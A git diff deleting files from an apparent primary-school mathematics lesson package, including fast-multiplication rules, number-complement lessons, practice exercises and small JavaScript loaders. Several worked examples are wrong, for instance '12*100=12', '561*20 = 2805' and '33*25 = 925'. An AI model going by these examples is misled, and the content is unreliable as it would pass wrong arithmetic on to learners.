-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m08/map611m08a02/source.txt b/Save_Mathematics/P6/map611m08/map611m08a02/source.txt
deleted file mode 100644
index f1c6b6e..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a02/source.txt
+++ /dev/null
@@ -1,494 +0,0 @@
-<p>
- <strong>
-  Guided Practice: Rules of fast calculation
- </strong>
-</p>
-<p>
- A) Example1
- <br />
- <br />
- a) 7 *10 b) 12*100 c) 9*1000
- <br />
- <br />
- Multiplicand
-</p>
-<table style="width: 576px; height: 142px;" border="1">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    7 * 10
-    <br />
-    multiplican multiplier
-    <br />
-    put one zero after multiplicand
-    <br />
-    put one zero afterr 7
-    <br />
-    7*10=70
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    12*100
-    <br />
-    put two zeros after 12
-    <br />
-    12*100=12
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    9*1000
-    <br />
-    put three zeros after 9
-    <br />
-    9* 1000=9000
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <span style="text-decoration: underline;">
-  Notes
- </span>
- : when number is multiplied by:
- <br />
- <br />
- 1) ten: we add one zero ofter that number
- <br />
- 2) one hundred: we add two zeros ofter that number
- <br />
- 3) one thousand: we add three zeros ofter that number
- <br />
- Example 2:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    a) 36 * 9
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    b) 18 * 19
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    c) 17 *49
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    d) 94 * 99
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    9 can be written as 10 - 1= 9
-    <br />
-    then we have
-    <br />
-    36 * (10 - 1)=
-    <br />
-    (36 * 10) - (36 * 1)=
-    <br />
-    36 * 10 - 36=
-    <br />
-    360 - 36 = 324
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    19 can be written as
-    <br />
-    20 - 1=19
-    <br />
-    then we have
-    <br />
-    18 * (20 - 1)
-    <br />
-    = (18 * 20) - (18 - 1)
-    <br />
-    =18 * 20 - 18
-    <br />
-    = 360 - 18
-    <br />
-    =342
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    49 can be written as
-    <br />
-    50 - 1 =49
-    <br />
-    then we have
-    <br />
-    17 * (50-1)
-    <br />
-    =(17 *50) - (17 * 1)
-    <br />
-    = 850 - 17
-    <br />
-    = 833
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    99 can be written as
-    <br />
-    100 - 1 =99
-    <br />
-    94 * (100-1)
-    <br />
-    = (94 * 100) - (94 * 1)
-    <br />
-    9400 - 94
-    <br />
-    = 9306
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Notes: when multiplying a number by:
- <br />
- 1) 9 you multiplyr number by 10 and you subtract that number.
- <br />
- 2) 19 you multiply that number by 20 and you subtract that number.
- <br />
- 3)49 you multiply that number by 50 and you subtract that number.
- <br />
- 4)99 you multiply that number by 100 and you subtract that number .
- <br />
- <br />
- Notice: when you mutliply a number with a multiplier ended by 9 you multiply that number with multiplier added one and then you subtract the multiplicand.
- <br />
- <br />
- Example3:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    a) 76*5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    b)43*20
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    c)37*25
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    d)123*50
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    R1: 5 is a result of
-    <br />
-    10:2=5
-    <br />
-    R2: thus (76*10)):2
-    <br />
-    =760:22
-    <br />
-    =380
-    <br />
-    or 76*
-    <span style="text-decoration: underline;">
-     10
-    </span>
-    <br />
-    2
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     76*10
-    </span>
-    <br />
-    2
-    <br />
-    = 760:2 = 380
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    20 can be written as 2*10 or 10*10
-    <br />
-    thus 43*20 is
-    <br />
-    43*(10*10)
-    <br />
-    = 43*10+43*10
-    <br />
-    = 430+ 430
-    <br />
-    = 860 or
-    <br />
-    (43*10) * 2 = 860
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    25 can be written as
-    <br />
-    100 : 4 = 25 thus
-    <br />
-    37 * 25 is 37 *
-    <span style="text-decoration: underline;">
-     100
-    </span>
-    <br />
-    4
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     3700
-    </span>
-    <br />
-    4
-    <br />
-    = 3700 :4
-    <br />
-    = 925
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    50 can be written as
-    <br />
-    100 : 2= 50
-    <br />
-    thus 123 * 50 = is the same as
-    <br />
-    123 *
-    <span style="text-decoration: underline;">
-     100
-    </span>
-    <br />
-    2
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     12300
-    </span>
-    <br />
-    2
-    <br />
-    = 6150
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Notices: multiplying a number by:
- <br />
- 1)5, you mutliply that number by 10 and you devid the result by 2.
- <br />
- 2)20 you multiply that number 10 and then you multiply the result by 2.
- <br />
- 3)25 you multiply that number by 100 and then you divid the result by 4.
- <br />
- 4)50 you multiply that number by 100 and then you divid by 2.
- <br />
- <br />
- D)
- <span style="text-decoration: underline;">
-  Example 4
- </span>
- <br />
- <br />
- a) multiply 24 *11:
- <br />
- <br />
- method 1:-write 24 as a number of 3 digit with 0 between 2 and 4 so
- <br />
- we have 204
- <br />
- - Add 2 and 4 (2 + 4 ) as tens, it means you put one zero after
- <br />
- the results we have 60 after you add 204 + 60
- <br />
- + 204
- <br />
- <span style="text-decoration: underline;">
-  60
- </span>
- <br />
- 264
- <br />
- <br />
- method 2: rewrite 11 as (10 + 111)
- <br />
- we have 24 * (10 + 1) = (24 * 10) + (24 * 1)
- <br />
- = 240 + 24 = 264
- <br />
- <br />
- Notes: when you multiply a number by 11 you multiply that number with 10 and then after you add that number.
- <br />
- <br />
- Notice: By multiplying a number with a multiplier having one at the end , you multiply that number with a multiplyer subtracted one and then you add that number on the result.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Example 5:
- </span>
- <br />
- <br />
- a) 313 * 10 = 3130 b) 53 * 100 = 5300 c) 21 * 1000=21000
- <br />
- d) 247 + 9 = 247 *(10 + 1)= (247 * 10)+(247 *1) = 2470 + 247 = 2717
- <br />
- e) 74 * 19 = 74 * (20 - 1) = (74 * 20) - (74 * 1) = 1480 - 74 = 1406
- <br />
- f) 71 * 99 = 71 * (
- <span style="text-decoration: underline;">
-  100
- </span>
- ) =
- <span style="text-decoration: underline;">
-  71 * 100 =
- </span>
- <span style="text-decoration: underline;">
-  710
-  <span style="text-decoration: underline;">
-   0
-  </span>
- </span>
- =3550
- <span style="text-decoration: underline;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- 2 2 2
- <br />
- g) 81* 5 = 81*
- <span style="text-decoration: underline;">
-  10
- </span>
- =
- <span style="text-decoration: underline;">
-  810
- </span>
- =405
- <br />
- 2 2
- <br />
- h) 561 * 20 =561 *(10 * 2) =(561 * 10)* 2= 5610 * 2 = 2805
- <br />
- i) 33 * 25 = 33 *
- <span style="text-decoration: underline;">
-  100
- </span>
- =
- <span style="text-decoration: underline;">
-  3300
- </span>
- =925
- <br />
- 4 4
- <br />
- k) 57 * 11 = 57 *(10 + 1) = 570 + 57 = 627
- <br />
- or 507 + 120 = 627
- <br />
- <br />
- Example 6:
- <br />
- multipy 17 * 16
- <br />
- a) 17 * 16 =(10 + 7) * (10 + 6)
- <br />
- = 10 * 10 + 10 *6 + 7 * 10 + 7*6 =10 *(10 + 6 + 7) + 7 * 6
- <br />
- = 10 * 23 + 42
- <br />
- = 230 + 42
- <br />
- = 272
- <br />
- b)17 * 13 =(10 + 7) *(10 * 3)
- <br />
- =10 * 10 + 10 * 3 + 7 * 10 + 7 * 3
- <br />
- =10 *(10 + 3 +7) + 21
- <br />
- = 10 * 20 + 21
- <br />
- = 221
- <br />
- c) 16 * 14 = 10(10 + 4 + 6) + 6 * 4
- <br />
- = 10 * 20 + 24 = 224
- <br />
- d) 15 * 12 = 10 *(10 + 2 + 5) + 5 *2
- <br />
- = 10 * 17 + 10
- <br />
- =170 + 10 = 180
- <br />
- <br />
- Notes: For multiplying the numbers between 10 and 20 you apply the ditributive and associative properties or you multiply with ten the sum of ten and the ends of those two numbers and then after you add to the result the prodct of the ends of those numbers.
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center;">
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</div>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 1) ten : we add one zero after that number
- <br />
- 2) one hundred : we add two zeros ofter that number
- <br />
- 3) one thousand: we add three zeros ofter that number.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<p>
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a03/a.txt b/Save_Mathematics/P6/map611m08/map611m08a03/a.txt
deleted file mode 100644
index 6a1c9ca..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a03/a.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- <strong>
-  Independent practic.
- </strong>
-</p>
-<p>
- 1. calculate the following the products of the following numbers:
- <br />
- a)314 *10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; h) 32 * 1000 =
- <br />
- b) 63 * 10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i) 66 * 9 =
- <br />
- c) 98 * 10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k) 472 * 9 =
- <br />
- d) 574 * 10=&nbsp;&nbsp;&nbsp; l) 27 * 19 =
- <br />
- e) 7 * 100=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m) 31 * 19 =
- <br />
- f)13 * 100 =&nbsp;&nbsp;&nbsp;&nbsp; n) 43 * 19 =
- <br />
- g) 123 * 1000=&nbsp;&nbsp;&nbsp; o) 99 * 99 =
- <br />
- q) 98 * 99 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v)15 * 25 =
- <br />
- R)96 * 5 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w) 76 * 25 =
- <br />
- s) 86 * 5 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x.1)93 * 50 =
- <br />
- t)824 * 20 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x.2) 43 * 50 =
- <br />
- u)62 * 20 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y.1) 77 * 11 =
- <br />
- z.1) 17 * 17 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y.2) 325 * 11 =
- <br />
- z.2)19 *15 =
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a03/description.py b/Save_Mathematics/P6/map611m08/map611m08a03/description.py
deleted file mode 100644
index 175ff2f..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m08a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m08/map611m08a03/lesson.js b/Save_Mathematics/P6/map611m08/map611m08a03/lesson.js
deleted file mode 100644
index ed9ffde..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m08/map611m08a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m08/map611m08a03/source.txt b/Save_Mathematics/P6/map611m08/map611m08a03/source.txt
deleted file mode 100644
index 6a1c9ca..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a03/source.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- <strong>
-  Independent practic.
- </strong>
-</p>
-<p>
- 1. calculate the following the products of the following numbers:
- <br />
- a)314 *10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; h) 32 * 1000 =
- <br />
- b) 63 * 10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i) 66 * 9 =
- <br />
- c) 98 * 10 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k) 472 * 9 =
- <br />
- d) 574 * 10=&nbsp;&nbsp;&nbsp; l) 27 * 19 =
- <br />
- e) 7 * 100=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m) 31 * 19 =
- <br />
- f)13 * 100 =&nbsp;&nbsp;&nbsp;&nbsp; n) 43 * 19 =
- <br />
- g) 123 * 1000=&nbsp;&nbsp;&nbsp; o) 99 * 99 =
- <br />
- q) 98 * 99 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v)15 * 25 =
- <br />
- R)96 * 5 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w) 76 * 25 =
- <br />
- s) 86 * 5 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x.1)93 * 50 =
- <br />
- t)824 * 20 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x.2) 43 * 50 =
- <br />
- u)62 * 20 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y.1) 77 * 11 =
- <br />
- z.1) 17 * 17 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y.2) 325 * 11 =
- <br />
- z.2)19 *15 =
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a04/a.txt b/Save_Mathematics/P6/map611m08/map611m08a04/a.txt
deleted file mode 100644
index 8e8061d..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a04/a.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- By applying the rules of fast calculation do the following exercises
- <br />
- <br />
- 1. multiply by 10
- <br />
- a) 2519 b) 7424 c) 2010 d) 7128
- <br />
- 2.multiply by 100
- <br />
- a) 3245 b) 6415 c) 7016 d) 11706
- <br />
- 3. multiply by 1000
- <br />
- a) 3298 b) 1500 c) 6134 d)
- <br />
- 4. multiply by 9
- <br />
- a) 4292 b) 1752 c) 6198 d) 7
- <br />
- 5. multiply by 19
- <br />
- a) 4843 b) 3039 c) 8045
- <br />
- 6. multiply by 49
- <br />
- a) 2254 b) 6584 c) 1769
- <br />
- 7.multiply by 5
- <br />
- a) 352 b) 1342 c) 7564
- <br />
- 8. multiply by 20
- <br />
- a) 1025 b) 5028 c) 1257 d)1544
- <br />
- 9. multiply by 25
- <br />
- a) 7343 b) 3639 c) 1805 d) 5005
- <br />
- 10.multiply by 50
- <br />
- a) 1567 b) 2342 c.8021 d) 1269
- <br />
- 11. multiply by 11
- <br />
- a)5454 b) 1771 c) 5144 d) 3343
- <br />
- 12. 11 * 12 16. 18 * 18
- <br />
- 13. 13 * 14 17. 19 * 20
- <br />
- 14. 18 * 17
- <br />
- 15. 20 * 10
- <br />
- 18. the Habimana's heans give 17 aggs per day.
- <br />
- How many eggs Habimana will collect after two weeks.
- <br />
- 19. At samuel's home ,they consume 13kg of beans per week, how many kg they will consume at the end of year.
- <br />
- 20. Mugabo travels 13 km everyday. How many kilometre he will cover in 18 days.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a04/description.py b/Save_Mathematics/P6/map611m08/map611m08a04/description.py
deleted file mode 100644
index d38338f..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m08a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m08/map611m08a04/lesson.js b/Save_Mathematics/P6/map611m08/map611m08a04/lesson.js
deleted file mode 100644
index 1f00384..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m08/map611m08a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m08/map611m08a04/source.txt b/Save_Mathematics/P6/map611m08/map611m08a04/source.txt
deleted file mode 100644
index 8e8061d..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a04/source.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- By applying the rules of fast calculation do the following exercises
- <br />
- <br />
- 1. multiply by 10
- <br />
- a) 2519 b) 7424 c) 2010 d) 7128
- <br />
- 2.multiply by 100
- <br />
- a) 3245 b) 6415 c) 7016 d) 11706
- <br />
- 3. multiply by 1000
- <br />
- a) 3298 b) 1500 c) 6134 d)
- <br />
- 4. multiply by 9
- <br />
- a) 4292 b) 1752 c) 6198 d) 7
- <br />
- 5. multiply by 19
- <br />
- a) 4843 b) 3039 c) 8045
- <br />
- 6. multiply by 49
- <br />
- a) 2254 b) 6584 c) 1769
- <br />
- 7.multiply by 5
- <br />
- a) 352 b) 1342 c) 7564
- <br />
- 8. multiply by 20
- <br />
- a) 1025 b) 5028 c) 1257 d)1544
- <br />
- 9. multiply by 25
- <br />
- a) 7343 b) 3639 c) 1805 d) 5005
- <br />
- 10.multiply by 50
- <br />
- a) 1567 b) 2342 c.8021 d) 1269
- <br />
- 11. multiply by 11
- <br />
- a)5454 b) 1771 c) 5144 d) 3343
- <br />
- 12. 11 * 12 16. 18 * 18
- <br />
- 13. 13 * 14 17. 19 * 20
- <br />
- 14. 18 * 17
- <br />
- 15. 20 * 10
- <br />
- 18. the Habimana's heans give 17 aggs per day.
- <br />
- How many eggs Habimana will collect after two weeks.
- <br />
- 19. At samuel's home ,they consume 13kg of beans per week, how many kg they will consume at the end of year.
- <br />
- 20. Mugabo travels 13 km everyday. How many kilometre he will cover in 18 days.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/activities.js b/Save_Mathematics/P6/map611m09/activities.js
deleted file mode 100755
index 8d00687..0000000
--- a/Save_Mathematics/P6/map611m09/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m09a01','blue'],
-['2','2','map6','basic','map611m09a02','blue'],
-['3','3','map6','basic','map611m09a03','blue'],
-['4','4','map6','basic','map611m09a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m09/map611m09a01/a.txt b/Save_Mathematics/P6/map611m09/map611m09a01/a.txt
deleted file mode 100644
index 6398637..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a01/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- INTRODUCTION
- <br />
- <br />
- Why do we need to find thhe complements of numbers?
- <br />
- <br />
- The answer to this question iis this: We need to find the complements of numbers because all of the things we use in real llife to survive are exppressed in numbers and we need a number whhich is complete to easy it's readingg, calcuaation and memorization.
- <br />
- <br />
- So how to easy the reading, calculation and memorization?
- <br />
- <br />
- The answer to theis question is in the following example:
- <br />
- <br />
- As we use the notes of 500;10000;2000 and so if Mugabe want to pay for something, he will use a complete notee because he doesn't know very well to count thus for him the complete notes are easy for him iinstead of the amount which are incomplete.
- <br />
- For exaample if sooomething costs 1932Rwf and you send Mugisha to bbuy it, he will ask you how much money shoould be added to 1932Rwf to havdve a note of 2000Rwf.
- <br />
- So this mount of money thatt shold be added to 1932Rwf to have a note of 2000Rwf is the complement oof 1932Rwf and. Instead of adding 452Rwf and 491Rwf, the eeasiiest way for him is to add 500Rwf to 500Rwf becaause for these complete notes he is able to give right answer.
- <br />
- <br />
- So my freind let me invite you to follow this sweetest milestone because in this milestone, we are going to see how to find the complement of any number.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a01/description.py b/Save_Mathematics/P6/map611m09/map611m09a01/description.py
deleted file mode 100644
index 4d190c9..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m09a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m09/map611m09a01/lesson.js b/Save_Mathematics/P6/map611m09/map611m09a01/lesson.js
deleted file mode 100644
index 049e02b..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m09/map611m09a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m09/map611m09a01/source.txt b/Save_Mathematics/P6/map611m09/map611m09a01/source.txt
deleted file mode 100644
index 6398637..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a01/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- INTRODUCTION
- <br />
- <br />
- Why do we need to find thhe complements of numbers?
- <br />
- <br />
- The answer to this question iis this: We need to find the complements of numbers because all of the things we use in real llife to survive are exppressed in numbers and we need a number whhich is complete to easy it's readingg, calcuaation and memorization.
- <br />
- <br />
- So how to easy the reading, calculation and memorization?
- <br />
- <br />
- The answer to theis question is in the following example:
- <br />
- <br />
- As we use the notes of 500;10000;2000 and so if Mugabe want to pay for something, he will use a complete notee because he doesn't know very well to count thus for him the complete notes are easy for him iinstead of the amount which are incomplete.
- <br />
- For exaample if sooomething costs 1932Rwf and you send Mugisha to bbuy it, he will ask you how much money shoould be added to 1932Rwf to havdve a note of 2000Rwf.
- <br />
- So this mount of money thatt shold be added to 1932Rwf to have a note of 2000Rwf is the complement oof 1932Rwf and. Instead of adding 452Rwf and 491Rwf, the eeasiiest way for him is to add 500Rwf to 500Rwf becaause for these complete notes he is able to give right answer.
- <br />
- <br />
- So my freind let me invite you to follow this sweetest milestone because in this milestone, we are going to see how to find the complement of any number.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a02/a.txt b/Save_Mathematics/P6/map611m09/map611m09a02/a.txt
deleted file mode 100644
index b28cb6e..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a02/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- 1. 4392 + 1 what is the missing number ?
- <br />
- a) 4392 + .......... =7000
- <br />
- =7000 - 4392
- <br />
- = 2608
- <br />
- so 4392 + 2608 =7000
- <br />
- the complement is 2608
- <br />
- 2. what is the missing complement
- <br />
- b) 4267 + ............. = 5000
- <br />
- = 5000 - 4267
- <br />
- = 733
- <br />
- so 4267 + 733 = 5000
- <br />
- the complement is 733
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a02/description.py b/Save_Mathematics/P6/map611m09/map611m09a02/description.py
deleted file mode 100644
index 47912c2..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m09a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m09/map611m09a02/lesson.js b/Save_Mathematics/P6/map611m09/map611m09a02/lesson.js
deleted file mode 100644
index 0892b56..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m09/map611m09a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m09/map611m09a02/source.txt b/Save_Mathematics/P6/map611m09/map611m09a02/source.txt
deleted file mode 100644
index b28cb6e..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a02/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- 1. 4392 + 1 what is the missing number ?
- <br />
- a) 4392 + .......... =7000
- <br />
- =7000 - 4392
- <br />
- = 2608
- <br />
- so 4392 + 2608 =7000
- <br />
- the complement is 2608
- <br />
- 2. what is the missing complement
- <br />
- b) 4267 + ............. = 5000
- <br />
- = 5000 - 4267
- <br />
- = 733
- <br />
- so 4267 + 733 = 5000
- <br />
- the complement is 733
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a03/a.txt b/Save_Mathematics/P6/map611m09/map611m09a03/a.txt
deleted file mode 100644
index 831300d..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a03/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- <strong>
-  Independent Practice:
- </strong>
-</p>
-<p>
- What are the complements of the following number:
- <br />
- a) 1325 + .............. = 2000
- <br />
- b) 2683 + ............... = 5000
- <br />
- c) 3861 + ............... = 8000
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a03/description.py b/Save_Mathematics/P6/map611m09/map611m09a03/description.py
deleted file mode 100644
index 8f178ec..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m09a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m09/map611m09a03/lesson.js b/Save_Mathematics/P6/map611m09/map611m09a03/lesson.js
deleted file mode 100644
index b5934fe..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m09/map611m09a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m09/map611m09a03/source.txt b/Save_Mathematics/P6/map611m09/map611m09a03/source.txt
deleted file mode 100644
index 831300d..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a03/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- <strong>
-  Independent Practice:
- </strong>
-</p>
-<p>
- What are the complements of the following number:
- <br />
- a) 1325 + .............. = 2000
- <br />
- b) 2683 + ............... = 5000
- <br />
- c) 3861 + ............... = 8000
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a04/a.txt b/Save_Mathematics/P6/map611m09/map611m09a04/a.txt
deleted file mode 100644
index 027b47f..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a04/a.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- 1. Find the complement of each of the following
- <br />
- a) 4327 + ................ = 7000
- <br />
- b) 8794 + ................ = 9000
- <br />
- c) 3861 + ................ = 6000
- <br />
- 2. Find the complement of 3517 and each of the following numbers
- <br />
- a) 4000 b) 5000 c) 7000 d) 9000
- <br />
- 3. What number is missing to the following to get 7000
- <br />
- a) 5764 b) 6777 c) 1735 d) 3745
- <br />
- 4. samuel want to by a trousers of 500RWF and he has 2760RWF.How much maney samuel needs to buy that trousers.
- <br />
- 5. Odette's school they pay7000 RWF of school fees and Odette's paid 5785 RWF. How much more maney Odette should have to complement the payment of the schoolfees.
